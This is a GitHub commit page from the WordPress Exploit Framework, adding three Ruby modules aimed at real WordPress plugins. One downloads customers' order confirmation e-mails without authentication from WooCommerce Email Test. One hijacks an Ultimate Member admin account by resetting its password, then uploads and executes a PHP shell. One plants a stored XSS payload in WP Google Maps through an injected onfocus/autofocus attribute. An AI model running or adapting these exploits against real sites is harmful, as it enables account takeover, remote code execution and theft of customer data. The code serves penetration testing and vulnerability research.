Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 03079fa

Browse files
rastatingrastating
committed
Merged development into master
2 parents bf8c021 + 48d35ab commit 03079fa

File tree

4 files changed

+243
-1
lines changed

4 files changed

+243
-1
lines changed

‎VERSION

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.3.1
1+
1.3.2

‎modules/auxiliary/woocommerce_email_test_order_disclosure.rb

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
class Wpxf::Auxiliary::WoocommerceEmailTestOrderDisclosure < Wpxf::Module
2+
include Wpxf
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WooCommerce Email Test <= 1.5 Order Information Disclosure',
9+
desc: 'Versions <= 1.5 of the WooCommerce Email Test plugin allow unauthenticated '\
10+
'users to download a copy of the last order confirmation e-mail sent by the system.',
11+
author: [
12+
'jansass GmbH', # Disclosure
13+
'Rob Carr <rob[at]rastating.com>' # WPXF module
14+
],
15+
references: [
16+
['WPVDB', '8689']
17+
],
18+
date: 'Dec 08 2016'
19+
)
20+
21+
register_options([
22+
StringOption.new(
23+
name: 'export_path',
24+
desc: 'The file to save the HTML e-mail to',
25+
required: true
26+
)
27+
])
28+
end
29+
30+
def check
31+
check_plugin_version_from_readme('woocommerce-email-test', '1.6')
32+
end
33+
34+
def export_path
35+
normalized_option_value('export_path')
36+
end
37+
38+
def run
39+
return false unless super
40+
41+
emit_info 'Downloading order confirmation export...'
42+
res = download_file(
43+
url: full_uri,
44+
method: :get,
45+
params: {
46+
'woocommerce_email_test' => 'WC_Email_Customer_Completed_Order'
47+
},
48+
local_filename: export_path
49+
)
50+
51+
if res.code != 200
52+
emit_error "Server responded with code #{res.code}"
53+
return false
54+
end
55+
56+
emit_success "Saved HTML e-mail to #{export_path}"
57+
true
58+
end
59+
end

‎modules/exploits/ultimate_member_shell_upload.rb

Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
class Wpxf::Exploit::UltimateMemberShellUpload < Wpxf::Module
2+
include Wpxf
3+
include Wpxf::Net::HttpClient
4+
include Wpxf::WordPress::Login
5+
include Wpxf::WordPress::Plugin
6+
7+
def initialize
8+
super
9+
10+
update_info(
11+
name: 'Ultimate Member <= 1.3.75 Shell Upload',
12+
desc: 'This module exploits a vulnerability that allows users of any level to change '\
13+
'the password of any user. The module requires you login with an account of any '\
14+
'level, which will then be used to change the specified admin users\' password. '\
15+
'The compromised admin account will then be used to store and execute the payload.',
16+
author: [
17+
'James Golovich', # Discovery and disclosure
18+
'Rob Carr <rob[at]rastating.com>' # WPXF module
19+
],
20+
references: [
21+
['WPVDB', '8688'],
22+
['URL', 'https://ultimatemember.com/security-release-v1-3-76/']
23+
],
24+
date: 'Dec 08 2016'
25+
)
26+
27+
register_options([
28+
StringOption.new(
29+
name: 'password_form_path',
30+
desc: 'The path of the change password form (default is /account/password/)',
31+
required: true
32+
),
33+
IntegerOption.new(
34+
name: 'admin_user_id',
35+
desc: 'The ID of the user to hijack the account of',
36+
required: true
37+
),
38+
StringOption.new(
39+
name: 'admin_username',
40+
desc: 'The username of the admin user to hijack the account of',
41+
required: true
42+
)
43+
])
44+
end
45+
46+
def check
47+
check_plugin_version_from_readme('ultimate-member', '1.3.76')
48+
end
49+
50+
def requires_authentication
51+
true
52+
end
53+
54+
def password_form_url
55+
normalize_uri(full_uri, datastore['password_form_path'])
56+
end
57+
58+
def admin_user_id
59+
normalized_option_value('admin_user_id')
60+
end
61+
62+
def admin_username
63+
normalized_option_value('admin_username')
64+
end
65+
66+
def new_password
67+
@new_password || @new_password = Utility::Text.rand_alphanumeric(3) +
68+
Utility::Text.rand_alpha(1, :lower) +
69+
Utility::Text.rand_numeric(2) +
70+
Utility::Text.rand_alpha(1, :upper) +
71+
Utility::Text.rand_alphanumeric(3)
72+
end
73+
74+
def execute_password_change
75+
execute_post_request(
76+
url: password_form_url,
77+
cookie: session_cookie,
78+
body: {
79+
'_um_password_change' => '1',
80+
'timestamp' => Utility::Text.rand_numeric(3),
81+
'user_password' => new_password,
82+
'confirm_user_password' => new_password,
83+
'user_id' => admin_user_id
84+
}
85+
)
86+
end
87+
88+
def before_upload
89+
emit_info "Changing password for #{admin_username} to #{new_password}"
90+
res = execute_password_change
91+
92+
unless res.code == 302
93+
emit_error "Password change returned status #{res.code}", true
94+
emit_error "Failed to change the password for #{admin_username}"
95+
return false
96+
end
97+
98+
@admin_cookie = authenticate_with_wordpress(admin_username, @new_password)
99+
return true if @admin_cookie
100+
false
101+
end
102+
103+
def upload_payload
104+
plugin_name = Utility::Text.rand_alpha(10)
105+
payload_name = Utility::Text.rand_alpha(10)
106+
@payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
107+
return true if wordpress_upload_payload_plugin(plugin_name, payload_name, @admin_cookie)
108+
109+
emit_error 'Failed to upload the payload'
110+
false
111+
end
112+
113+
def execute_payload
114+
res = execute_get_request(url: @payload_url)
115+
emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
116+
end
117+
118+
def run
119+
return false unless super
120+
return false unless before_upload
121+
122+
emit_info 'Uploading payload...'
123+
upload_payload
124+
125+
emit_info "Executing the payload at #{@payload_url}..."
126+
execute_payload
127+
128+
true
129+
end
130+
end

‎modules/exploits/wp_google_maps_stored_xss_shell_upload.rb

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
class Wpxf::Exploit::WpGoogleMapsStoredXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP Google Maps <= 6.3.14 Stored XSS Shell Upload',
9+
author: [
10+
'Sipke Mellema', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8653'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_wp_google_maps_plugin_via_csrf.html']
16+
],
17+
date: 'Nov 10 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_changelog('wp-google-maps', 'readme.txt', '6.3.15')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'admin.php?page=wp-google-maps-menu&action=edit&map_id=1')
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'wpgmza_id' => '1',
33+
'wpgmza_start_location' => "#{Utility::Text.rand_numeric(2)}.#{Utility::Text.rand_numeric(15)},-#{Utility::Text.rand_numeric(3)}.#{Utility::Text.rand_numeric(14)}",
34+
'wpgmza_start_zoom' => '2',
35+
'wpgmza_title' => Utility::Text.rand_alpha(10),
36+
'wpgmza_width' => '100',
37+
'wpgmza_map_width_type' => '%',
38+
'wpgmza_height' => Utility::Text.rand_numeric(3),
39+
'wpgmza_map_height_type' => 'px',
40+
'wpgmza_map_align' => '1',
41+
'wpgmza_map_type' => '1',
42+
'wpgmza_theme_data_0' => '',
43+
'wpgmza_store_locator_restrict' => 'ad',
44+
'wpgmza_store_locator_query_string' => ":i8gr4\\\"onfocus=\\\"#{xss_ascii_encoded_include_script}\\\"autofocus=\\\"",
45+
'wpgmza_store_locator_bounce' => 'on',
46+
'wpgmza_max_zoom' => '1',
47+
'wpgmza_savemap' => 'Save Map',
48+
'wpgmza_edit_id' => '',
49+
'wpgmza_animation' => '0',
50+
'wpgmza_infoopen' => '0'
51+
)
52+
end
53+
end

0 commit comments

Comments
 (0)